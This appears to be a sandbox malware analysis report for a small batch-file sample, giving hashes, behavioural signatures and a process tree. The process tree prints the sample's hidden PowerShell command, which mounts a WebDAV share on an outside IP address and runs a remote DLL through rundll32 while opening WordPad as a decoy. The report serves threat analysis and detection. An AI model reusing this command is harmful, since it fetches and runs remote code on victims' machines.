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Analysis
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max time kernel
100s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
14/07/2024, 20:48
Static task
static1
Behavioral task
behavioral1
Sample
8873153963217815223.bat
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
8873153963217815223.bat
Resource
win10v2004-20240709-en
General
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Target
8873153963217815223.bat
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Size
2KB
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MD5
f2da29cd0fe5b748716ed3be26c35736
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SHA1
3b1f6d5bf678fce5842be25839e56d83b6e9f1d5
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SHA256
1409b6f9cfa72641102b2714eca5ed736ac6d2ad15a8a9b90f796d15dfe71cbe
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SHA512
0214368f1a5ccebff7c2353bee1600f555e9119304a0680b97510fa60ff6dbad199746f5d331d1a7b8382296d39525ff223ab6a006a6ef2878505f5fc6e78f6d
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4336 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4336 powershell.exe 4336 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4336 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2776 wordpad.exe 2776 wordpad.exe 2776 wordpad.exe 2776 wordpad.exe 2776 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1368 wrote to memory of 2776 1368 cmd.exe 85 PID 1368 wrote to memory of 2776 1368 cmd.exe 85 PID 1368 wrote to memory of 4336 1368 cmd.exe 87 PID 1368 wrote to memory of 4336 1368 cmd.exe 87 PID 4336 wrote to memory of 4708 4336 powershell.exe 89 PID 4336 wrote to memory of 4708 4336 powershell.exe 89 PID 4336 wrote to memory of 4204 4336 powershell.exe 90 PID 4336 wrote to memory of 4204 4336 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\8873153963217815223.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2776
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1845.dll,entry2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4336 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\3⤵PID:4708
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1845.dll,entry3⤵PID:4204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:3256
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82